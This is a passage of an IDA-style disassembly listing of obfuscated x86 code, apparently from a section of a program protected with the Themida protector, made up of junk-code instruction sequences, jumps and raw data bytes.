		dd 100001Bh, 24048BC7h,	4C481h,	0D2E90000h, 1FFFFB3h, 0C3015EF0h
		dd 0FF922CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_52105D:				; CODE XREF: Themida_:00515B79j
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, 7C4336Eh
		jmp	loc_515128
; ---------------------------------------------------------------------------
		dd 240C8966h, 0C8B60F66h, 0FF511CE9h, 0C7815FFFh, 0FFFFFFFFh
		dd 5107EFC1h, 79DDFAB9h, 59CF29D0h, 815FFB01h, 770A03C3h
		dd 0E9C2313Bh, 0FFFED154h
; ---------------------------------------------------------------------------


loc_52109C:				; CODE XREF: Themida_:00516542j
		mov	ebp, 4
		push	42Dh
		mov	[esp], ebx
		jmp	loc_51567C
; ---------------------------------------------------------------------------
		dw 3DE9h
		dd 0FFFFFED1h, 55582434h, 0C5815D54h, 4, 4C581h, 2C870000h
		dd 0C3815C24h, 0AE4E9148h, 0C7E9DA01h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5210D7:				; CODE XREF: Themida_:0051AD8Bj
		push	ecx
		mov	ecx, 783BBF4Ch
		xor	edx, ecx
		pop	ecx
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_519850
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8704C483h, 248B2414h, 0CD36624h, 0E5E99C24h
		db 0D0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_52110B:				; CODE XREF: Themida_:0051F23Fj
		add	esp, 4
		and	cl, 7Ah
		add	cl, 67h
		jmp	loc_52034D
; ---------------------------------------------------------------------------
		db 5Bh,	40h, 35h
		dd 931A17DAh, 0FF0127E9h, 5DE901FFh, 0BAE9D101h
		db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_52112F:				; CODE XREF: Themida_:00510BBBj
		add	edx, 3FC5CE4Fh
		and	ebx, edx
		pop	edx
		shr	ebx, 8
		add	ebx, 0FFFF77FCh
		sub	ecx, 1D91703Fh
		jmp	loc_51DA9F
; ---------------------------------------------------------------------------
		dd 707B68h, 24048900h, 0E9EE8852h, 0FFFF2116h
; ---------------------------------------------------------------------------


loc_52115C:				; CODE XREF: Themida_:0051D20Aj
		push	4A8Bh
		mov	[esp], edi
		mov	edi, 67D294Ah
		jmp	loc_51A139
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 81E38924h, 4C3h, 4B85000h, 81000000h, 0D2533BC3h, 0E42EE90Dh
		dd 48BFFFEh, 4C48324h, 2DE9515Fh, 5AFFFFF2h, 0F000F504h
		dd 7D04F52Ch, 50536651h, 253482B0h, 0BBE9E134h,	66FFFF78h
		dd 51240C8Bh, 8904EC83h, 4832424h, 9E90424h, 51FFFF09h
		dd 0DC7AB7B9h, 9DF18101h, 8938DD24h, 2434FFC8h,	4C48159h
		dd 31000000h, 27C7E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5211E2:				; CODE XREF: Themida_:005126A2j
		xchg	ebp, [esp]
		pop	esp
		push	333Ah
		mov	[esp], ebp
		mov	ebp, 23456D00h
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	42300675h
		pop	edx
		shl	edx, 7
		sub	edx, 0E115233Eh
		mov	edi, edx
		jmp	loc_510F97
; ---------------------------------------------------------------------------
		dd 0C380CB00h, 53E95956h, 1FFFFA0h, 0D53159CAh,	0FFE8315Ah
		dd 27E92434h, 59FFFFC0h, 70C2E781h, 0EF3172CBh,	0EF31FD31h
		dd 0FF9E54E9h, 241433FFh, 0FFE993E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_521245:				; CODE XREF: Themida_:005224CBj
		push	ecx
		push	7789h
		jmp	loc_519A18
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 6E7EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52125E:				; CODE XREF: Themida_:0051D5B6j
		pop	edx
		sub	dword ptr [esp+4], 4C840DD4h
		sub	dword ptr [esp+4], 34D44BBBh
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 34D44BBBh
		add	dword ptr [esp+4], 4C840DD4h
		push	eax
		jmp	loc_51F9F2
; ---------------------------------------------------------------------------


loc_521289:				; CODE XREF: Themida_:00517369j
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5138E3
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	eax
		jmp	loc_5196AB
; ---------------------------------------------------------------------------


loc_5212E3:				; CODE XREF: Themida_:0051F010j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_50FA87
; ---------------------------------------------------------------------------


loc_5212EE:				; CODE XREF: Themida_:0051A1C3j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	3670h
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	3030h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_50F1BD
; ---------------------------------------------------------------------------


loc_521334:				; CODE XREF: Themida_:00516C1Bj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_51F5DB
; ---------------------------------------------------------------------------
a1434Hcs	db '14$34$\hs',0
		dw 8900h
		dd 4B9240Ch, 5000000h, 6F453CECh, 39E9C801h, 8100001Ah
		dd 2DE625F2h, 82EF8164h, 29785808h, 0E018E9D7h,	0C183FFFEh
		dd 240C8704h, 241C875Ch, 147DE9h
		db 0
; ---------------------------------------------------------------------------


loc_521381:				; CODE XREF: Themida_:00515229j
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_52087A
; ---------------------------------------------------------------------------


loc_52139C:				; CODE XREF: Themida_:00510C08j
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		jmp	loc_5239E8
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 7E90000h, 5AFFFFCEh,	81E18951h, 4C1h, 4C18300h, 0FEFAACE9h
		dd 0F7C281FFh, 29480550h, 88BB53C2h, 0E9478150h, 0FFFEF597h
		dd 49E953ADh
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5213E3:				; CODE XREF: Themida_:00511BD7j
		xor	al, dh
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	cx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_514D6E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EC815104h, 4, 52240489h, 88D88850h,	28E958C2h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52142B:				; CODE XREF: Themida_:00520D9Fj
		mov	ebx, 5D005FBAh
		mov	edx, 0A2FFA04Ah
		jmp	loc_51EA14
; ---------------------------------------------------------------------------
		dw 5758h
		dd 0EE544FBFh, 1DBD5566h, 31590E37h, 0F7815DEFh, 455420D2h
		dd 0FFFFC781h, 0CF81FFFFh, 538926CBh, 0FF6A4FE9h, 5BF988FFh
		dd 0FEF84AE9h, 74FF55FFh, 0AE90424h, 53FFFEE4h,	64278DBBh
		dd 291BE933h, 0EC81FFFFh, 4, 0BF243C89h, 278E0E61h, 0FF5FFB01h
		dd 815A2434h, 4C4h, 241C8700h, 0D224248Bh, 0E99C2424h
		dd 0FFFF8463h, 2E496868h, 0C129585Bh, 28A80558h, 0C8016EBAh
		dd 0BA28A82Dh, 2C8B596Eh, 4C48324h, 1523E955h, 34FFFFFFh
		dd 24148B24h, 0FEF1EEE9h, 816858FFh, 89000072h,	0E389241Ch
		dd 4C381h, 0A5E90000h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5214EB:				; CODE XREF: Themida_:0051408Bj
		mov	ebp, 40A1F7Bh
		dec	ebp
		inc	ebp
		shl	ebp, 3
		jmp	loc_510A7C
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 0F5E950CCh, 5CFFFFBBh, 52F868h, 24048900h, 5D4E68h
		dd 0C23DE900h, 0D4BEFFFFh, 16AC147h, 24348BF3h,	8B04C483h
		dd 0C4832434h, 2BD5504h, 1000000h, 2434FFEBh, 81242C8Bh
		dd 4C4h, 4EC8100h, 0E9000000h, 0FFFF9672h, 81240C8Bh, 4C4h
		dd 0D69E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_521556:				; CODE XREF: Themida_:0050E6D8j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_514CA7
; ---------------------------------------------------------------------------


loc_521562:				; CODE XREF: Themida_:0051A3D5j
		add	esp, 4
		sub	ebp, 6D71066Ah
		jmp	loc_51B0E8
; ---------------------------------------------------------------------------
aAJhZ		db 'ɦhZ',0
		dw 8900h
		dd 0BBE92404h, 0BDFFFEF3h, 38A55DC4h, 2C8BE801h, 0AF16E924h
		dd 1C8BFFFFh, 4C48324h,	33D5C281h, 0CA015D50h, 3CB1BF57h
		dd 0BD55650Dh, 3CD24CFBh, 2C8BEF21h, 0E0895024h, 405h
		dd 4C08300h, 5C240487h,	3F64F781h, 0FA297950h, 0DC4E95Fh
		dd 0C1810000h, 1370190Fh, 0E1D1D1F7h, 0F181E1D1h, 5DA341Ch
		dd 7AD68h, 240C8900h, 6B240481h, 0E948EF2Fh, 0FFFF7A8Eh
; ---------------------------------------------------------------------------


loc_5215F4:				; CODE XREF: Themida_:0051957Bj
		sub	edx, 0B1552899h
		xor	ecx, edx
		pop	edx
		jmp	loc_51D3C5
; ---------------------------------------------------------------------------


loc_521602:				; CODE XREF: Themida_:0051C2C2j
		xor	[esp+4], edx
		pop	edx
		pop	ecx
		xor	ecx, 7CC8723Ch
		push	63D1h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_51FA07
; ---------------------------------------------------------------------------


loc_521625:				; CODE XREF: Themida_:0051E209j
		push	edx
		mov	edx, 27383004h
		and	edx, 6CDD6FD4h
		sub	edx, 23182992h
		jmp	loc_523160
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 2BD5500h, 81000000h, 3E79E4EBh, 81EB0135h
		dd 3E79E4C3h, 0A8F5E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52165E:				; CODE XREF: Themida_:0051E289j
		mov	[esp], eax
		mov	eax, 54626AD8h
		sub	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_521690
; ---------------------------------------------------------------------------
		db 5Bh
		dd 992EF81h, 0EF8110EAh, 2B5F241h, 16E9FB29h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_521687:				; CODE XREF: Themida_:00511B82j
		pop	ebx
		sub	bl, 1Dh
		jmp	loc_519CB8
; ---------------------------------------------------------------------------


loc_521690:				; CODE XREF: Themida_:0052166Ej
		pop	eax
		jmp	loc_51D12E
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 0FF4266E9h, 24148BFFh, 0FF0E09E9h, 0AE94DFFh
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5216AF:				; CODE XREF: Themida_:00520775j
		xchg	eax, esi
		push	ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50F892
; ---------------------------------------------------------------------------


loc_5216D7:				; CODE XREF: Themida_:0051E30Dj
		pop	edx
		jmp	loc_513F08
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 4Ch
		dd 1BCBEC8h, 8CE95BDEh,	0FFFFFF6Eh, 5A042474h, 5C24048Fh
		dd 0FF50B5E9h, 243C89FFh, 71D4BF66h, 0FFEF8366h, 81E38953h
		dd 4C3h, 4EB8100h, 53000000h, 0FED648E9h, 4077FFFFh, 0FECACFE9h
		dd 2A78B9FFh, 0F1817A48h, 5CBD6D3Dh, 0FFEEE5E9h, 244481FFh
		dd 0D421BE04h, 0E5C7E90Ch, 0E689FFFFh, 4C681h, 0E9570000h
		dd 0FFFF8A09h, 0BD555954h, 13847E74h, 6A1AC581h, 0E5815071h
		dd 7012283Ch, 4110ED81h, 0B9511B69h, 0
		dd 5155E929h, 0FF2CF7E9h, 240C89FFh, 0FF1DD5E9h, 685954FFh
		dd 5BFDh, 0E9241C89h, 0FFFFC615h, 6EEF8147h, 13C711Fh
		dd 0C1835FF9h, 240C8704h, 0E9E9515Ch
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5217A3:				; CODE XREF: Themida_:0051182Cj
		mov	ecx, [esp]
		jmp	loc_511BE2
; ---------------------------------------------------------------------------
		db 89h
		dd 7AE9241Ch
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5217B3:				; CODE XREF: Themida_:005103BAj
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	2B45h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_516D1A
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 0C335DE9h,	240C3124h, 0E9240C33h, 0FFFEF7BFh
		dd 6DDEEB81h, 0D3017C2Eh, 0FF5814E9h, 0C7EB80FFh, 81240C8Bh
		dd 4C4h, 0C0B60F00h, 1C206866h,	0FF3FB9E9h, 0FFE889FFh
		dd 815D2434h, 4C4h, 0E9C10100h,	0FFFF31B3h, 25B2C681h
		dd 8CE92A85h, 0BFFFFFC1h, 2154EEBh, 8105EFC1h, 0D578CBC7h
		dd 2FC78133h, 561C3A2Bh, 204E75BEh, 5EF73150h, 54E6EE81h
		dd 0FE011D4Ch, 54E6C681h, 875F1D4Ch, 248B2434h,	76AE6824h
		dd 14890000h, 0E95A5424h, 0FFFF28AEh
; ---------------------------------------------------------------------------


loc_521878:				; CODE XREF: Themida_:0051B12Cj
		mov	esi, 23925CA5h
		neg	esi
		add	esi, 697C3755h
		jmp	loc_519AEE
; ---------------------------------------------------------------------------
		dw 0C145h
		dd 0E95708EDh, 0FFFFDC35h, 0E92434FFh, 0FFFFA897h, 0CB0818BAh
		dd 0D9C2813Ah, 91F3915h, 5AE95AD6h, 8BFFFF79h, 0C481243Ch
		dd 4, 8B240487h, 4892424h, 0E9E08924h, 0FFFF89C9h, 24048B66h
		dd 2C481h, 0CDE90000h, 66FFFF1Fh, 5124048Bh, 4EC81h, 24890000h
		dd 24048324h, 2434FF04h, 0FFE7FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5218F1:				; CODE XREF: Themida_:0051E26Bj
		mov	ebx, 31AA1DA4h
		add	ebp, ebx
		jmp	loc_51400A
; ---------------------------------------------------------------------------
		dd offset dword_55CF68
		align 2
		dw 3489h
		dd 23E95524h, 48FFFFC1h, 5E8C148h, 0C108E8C1h, 0BE5602E8h
		dd 6FA840C6h, 4E6DF681h, 0EEC105D3h, 0F6814605h, 3534107h
		dd 0FF577EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_521931:				; CODE XREF: Themida_:00513354j
		add	esp, 4
		pop	eax
		jmp	loc_5192F6
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 11A068D0h, 0C890000h, 1E91B924h, 0A5E95CADh,	89FFFF85h
		dd 0DB68242Ch, 89000026h, 69B9240Ch, 52137C1Fh,	0FF2DB6E9h
		dd 3E0C1FFh, 0C104E8C1h, 0BA5208E0h, 0FFFFFFFFh, 0F75AD029h
		dd 87A035D0h, 46E9BA99h, 9FFFFFAh, 242C8BE8h, 4C481h, 0E8D10000h
		dd 25E95540h, 81FFFED1h, 0A7E01CE9h, 59CD31BEh,	0FF1C6F09h
		dd 835D2434h, 41E904C4h, 89FFFEC8h, 0E0892404h,	405h, 42D00h
		dd 38E90000h, 68FFFFD9h, 43B1h,	0BE243489h, 4E907CC3h
		dd 0E78AE950h, 0EC81FFFFh, 4, 0BF243C89h, 23634151h, 5B5FF929h
		dd 5104C183h, 42474FFh,	24048F59h, 0F724248Bh, 428F68F1h
		dd 14890000h, 0E99C5024h, 0FFFEC7E8h, 242C875Ch, 2424895Ch
		dd 8904EC83h, 97E92404h, 0BDFFFED7h, 3FB62143h,	0E905EDC1h
		dd 0FFFF6EA6h
; ---------------------------------------------------------------------------


loc_521A28:				; CODE XREF: Themida_:0051FE5Aj
		mov	edi, 200F7AE1h
		jmp	loc_5172A8
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0E95AD101h, 0FFFF5E13h
; ---------------------------------------------------------------------------


loc_521A4C:				; CODE XREF: Themida_:0050F59Dj
		push	6093h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_51485F
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 24048900h, 0D0E8E954h, 0F65BFFFFh
		dd 8E5C0DDh, 0E5C0C5FEh, 0E5ACE904h, 0E789FFFEh, 2D3068h
		dd 15BDE900h, 0CA81FFFFh, 7B933162h, 0FF0665E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_521A99:				; CODE XREF: Themida_:00514705j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	625Dh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_51D3A2
; ---------------------------------------------------------------------------
		db 68h
		dd 382Bh, 0FFFE8AE9h, 4EC83FFh,	89241489h, 4EC81E2h, 89000000h
		dd 14BF243Ch, 8141973Dh, 973D10F7h, 3BA6E941h, 0FE01FFFFh
		dd 18DDE95Fh, 3C87FFFFh, 0DFB5E924h, 0C281FFFFh, 787C08C8h
		dd 77EB815Eh, 137EF24h,	77C381D3h, 5A37EF24h, 3304C383h
		dd 6EE9241Ch, 8FFFFFEDh, 248B2404h, 0E7895724h,	3C9E68h
		dd 240C8900h, 0AD1673B9h, 0F7F9876Dh, 81F987DFh, 52E989F1h
		dd 87EF8192h, 14E043Ah,	87C781CFh, 0FF4E043Ah, 0E9592434h
		dd 0FFFFDE89h
; ---------------------------------------------------------------------------


loc_521B50:				; CODE XREF: Themida_:00521DB0j
		sub	ebx, edx
		sub	ebx, 4D2649C8h
		pop	edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5145B6
; ---------------------------------------------------------------------------
		db 89h
		dd 0F2E9241Ch, 81FFFFE0h, 0B12CDCE5h, 0DCF58105h, 5448365h
		dd 39C442AAh, 52E9E829h, 89FFFEF6h, 4C781E7h, 83000000h
		dd 3C3304C7h, 243C3124h, 0FEE746E9h, 81E189FFh,	4C1h, 4B85000h
		dd 1000000h, 0F389E9C1h, 835FFFFFh, 0C7E904C4h,	0BDFFFFFEh
		dd 0
		dd 0EA31D529h, 0EA31D531h, 74CA815Dh, 5603EB45h, 3ABCBA52h
		dd 0C2816569h, 0FFFFFFFFh, 2BFF281h, 81523315h,	3A4D242Ch
		dd 97E91E08h, 68FFFFAEh, 527Dh,	0BD242C89h, 4, 74C4BD55h
		dd 0CD8146AFh, 353032FBh, 1872CD81h, 0E5D152B0h, 498F581h
		dd 0C58104EBh, 4EBE515Ch, 15DEF01h, 0C2EF81EFh,	8B3A544Ah
		dd 0C483242Ch, 4C78304h, 1E42E9h, 0E9535A00h, 0FFFECDF5h
		dd 3302C283h, 14312414h, 5F4DE924h, 0A0BEFFFFh,	115535Eh
		dd 178BE9F1h, 34FFFFFFh, 240C8B24h, 1B6868h, 24348900h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h,	1C8B5424h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 4C3815Ch
		dd 0E9000000h, 0FFFF33D6h
; ---------------------------------------------------------------------------


loc_521CA4:				; CODE XREF: Themida_:005108BCj
		xor	ebp, esi
		pop	esi
		neg	ebp
		add	ebp, 0DD9FDC52h
		mov	edi, ebp
		pop	ebp
		sub	eax, 668B6664h
		jmp	loc_51D215
; ---------------------------------------------------------------------------
		dd 64685651h, 8B2D406Ch, 0C4832434h, 531CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_521CCE:				; CODE XREF: Themida_:0051E516j
		push	ebx
		mov	bh, 6Dh
		jmp	loc_516F5B
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0C50AE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_521CE6:				; CODE XREF: Themida_:0051665Aj
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5113F5
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFAEF7h, 5EF7015Dh, 4B951h, 0CF290000h, 3B75E959h
		dd 0E95FFFFFh, 0FFFFD866h, 82E9CD29h, 29FFFFA3h, 0F71CE9C7h
		dd 0CA89FFFFh, 83240C8Bh, 2C8B04C4h, 0A6E95124h, 57000008h
		dd 0B0E95F54h, 89FFFF13h, 4C781E7h, 0E9000000h,	0FFFF4D4Bh
; ---------------------------------------------------------------------------


loc_521D44:				; CODE XREF: Themida_:00522A12j
		mov	[esp], edi
		push	ecx
		push	esi
		mov	esi, 4E5F3F90h
		mov	ecx, 0AE184A3Fh
		sub	ecx, esi
		pop	esi
		mov	edi, 5FB90AB0h
		add	edi, 56621C37h
		sub	edi, ecx
		sub	edi, 56621C37h
		jmp	loc_510203
; ---------------------------------------------------------------------------
		dw 0D830h
		dd 4EC8353h, 53241489h,	0EF80E4B7h, 80D7F655h, 0CFFEBCF7h
		dd 0F780CFFEh, 0FD88511Ch, 0C8BEA88h, 4C48124h,	5B000000h
		dd 0FE5AD788h, 51D7F6CFh, 0FEE6C2E9h, 24248BFFh, 0FEC443E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_521DAD:				; CODE XREF: Themida_:00515D5Ej
		add	esp, 4
		jmp	loc_521B50
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0Ch
		dd 1195024h, 0F81AE9E9h, 0AB68FFFEh, 0E9000037h, 0FFFF9718h
		dd 405h, 24043300h, 0E9240431h,	1254h
; ---------------------------------------------------------------------------


loc_521DDC:				; CODE XREF: Themida_:00515794j
		push	1ED9h
		mov	[esp], esi
		pop	ebx
		jmp	loc_51D80D
; ---------------------------------------------------------------------------


loc_521DEA:				; CODE XREF: Themida_:0051C5D9j
		sub	eax, 1
		add	eax, 7050828Eh
		jmp	loc_5228BC
; ---------------------------------------------------------------------------


loc_521DF9:				; CODE XREF: Themida_:0051ABEFj
		mov	ebx, 3E892CFDh
		push	68E9h
		mov	[esp], edi
		mov	edi, 65A60F24h
		add	edi, 3EC655F3h
		inc	edi
		jmp	loc_51930E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 74A6E951h, 752DFFFFh,	5E4C4936h, 1FF468h
		dd 240C8900h, 0FEFB79E9h, 0C3B2E9FFh, 0ED81FFFEh, 629461B1h
		dd 1A4FE581h, 0E0E9462Ch
		db 0EEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_521E4F:				; CODE XREF: Themida_:00517B4Dj
		xchg	ecx, [esp]
		pop	esp
		shl	eax, cl
		sub	esp, 4
		jmp	loc_51E5A9
; ---------------------------------------------------------------------------
		dd 4C0835Dh, 31240433h,	4332404h, 996CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_521E72:				; CODE XREF: Themida_:00514C66j
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 3A947975h
		push	edx
		jmp	loc_52259C
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFF32E8h
		dd 0ADC7814Fh, 81517F42h, 507341CFh, 5BEF8124h,	29627971h
		dd 0ACE95FF8h, 81FFFF7Bh, 4C6h,	4DBD5500h, 50720669h, 7F01F7B8h
		dd 4A7E95Ah, 895B0000h,	24348BF3h, 0FF44C8E9h, 0D7C781FFh
		dd 0E9030A72h, 0FFFEEF8Eh, 52242489h, 153AB951h, 67E92F08h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_521EEF:				; CODE XREF: Themida_:0051A886j
		xchg	ebx, [esp]
		jmp	loc_517589
; ---------------------------------------------------------------------------
		db 35h
		dd 0BC8A1F18h, 3158C589h, 0F9015DEFh, 0FFEA54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_521F09:				; CODE XREF: Themida_:005139C7j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 77510567h
		jmp	loc_51E6D3
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	0E95C2404h, 0FFFFA1AFh,	0AAE9DFF7h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_521F37:				; CODE XREF: Themida_:0051F2D9j
		add	ecx, ebp
		pop	ebp
		push	6711h
		jmp	loc_51672C
; ---------------------------------------------------------------------------
		dd 2C8BEB01h, 71EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_521F4E:				; CODE XREF: Themida_:00518DA5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_521F5E:				; CODE XREF: Themida_:0050F4A1j
		push	1A12h
		mov	[esp], edx
		push	esi
		jmp	loc_51F80D
; ---------------------------------------------------------------------------
		dd 34FFF028h, 0C4815A24h, 4, 0FEE2D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_521F7D:				; CODE XREF: Themida_:00515871j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_519BE1
		push	6CCEh
		mov	[esp], edx
		jmp	loc_5196D7
; ---------------------------------------------------------------------------


loc_521F99:				; CODE XREF: Themida_:00514BD8j
		pop	ecx
		jmp	loc_51F9AB
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 8704C383h, 665C241Ch,	6668E2BEh, 5FF1F681h
		dd 5DEE3166h, 66F03166h, 5624348Bh, 0DF51E954h,	0C483FFFFh
		dd 0C6B95104h, 0F742A273h, 15F0E9D1h, 248BFFFFh, 9C75E924h
		dd 0FB21FFFFh, 0ED2AE95Fh, 0D488FFFEh, 0DE9E588h, 5CFFFF0Ch
		dd 515BF800h, 0FF9E84E9h, 24248BFFh, 0F66F9F6h,	4F68CCB6h
		dd 0E9000065h, 1B0Bh, 3166AD66h, 5F5457D8h, 0FF3B61E9h
		dd 0CCE953FFh, 8BFFFFEFh, 0EC81240Ch, 4, 54243489h, 3DE9555Eh
		dd 0BF00001Bh, 39D05AFBh, 4358BD55h, 0EF2131F2h, 8EFC15Dh
		dd 7F32EF81h, 0F7813631h, 0E1B7750Dh, 815FFD29h, 433453C5h
		dd 76EE8129h, 0E97F181Bh, 0FFFF4294h, 8324348Bh, 9E904C4h
		dd 57FFFF37h, 4BFh, 5FF80100h, 0FF6984E9h, 4C483FFh, 47D4EB81h
		dd 0EB816AC1h, 1CA63F59h, 0C381F301h, 1CA63F59h, 0F478E956h
		dd 0C181FFFFh, 4, 4E981h, 0FF510000h, 59042474h, 5C24048Fh
		dd 0B9240C89h, 0B9C3A483h, 8159CB31h, 634151C1h, 0E9D90123h
		dd 0FFFFF90Ah
; ---------------------------------------------------------------------------


loc_5220CC:				; CODE XREF: Themida_:0051DA29j
		add	ebx, 4B274E0Ah
		add	ebx, edx
		push	esi
		push	17E57C6Ch
		pop	esi
		jmp	loc_522479
; ---------------------------------------------------------------------------
		dd 0F6455768h, 0C083583Eh, 53EEE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5220EE:				; CODE XREF: Themida_:005186B2j
		push	445Bh
		mov	[esp], ecx
		jmp	loc_522C96
; ---------------------------------------------------------------------------
		db 89h
		dd 0CEB62414h, 8006C680h, 0F68053E6h, 0B9E680A5h, 0FEE559E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522111:				; CODE XREF: Themida_:0051AF10j
		push	edx
		mov	edx, 4EBF58F7h
		jmp	loc_50F0C5
; ---------------------------------------------------------------------------
		dd 0CD80DDF6h, 47F58046h, 0FFE0D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522129:				; CODE XREF: Themida_:0051F80Fj
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esi
		push	4AAFh
		mov	[esp], ecx
		pop	edi
		pop	ecx
		jmp	loc_51F8F9
; ---------------------------------------------------------------------------


loc_522144:				; CODE XREF: Themida_:0050FEEEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_519A8A
; ---------------------------------------------------------------------------


loc_52215E:				; CODE XREF: Themida_:0051B38Aj
		pop	esp
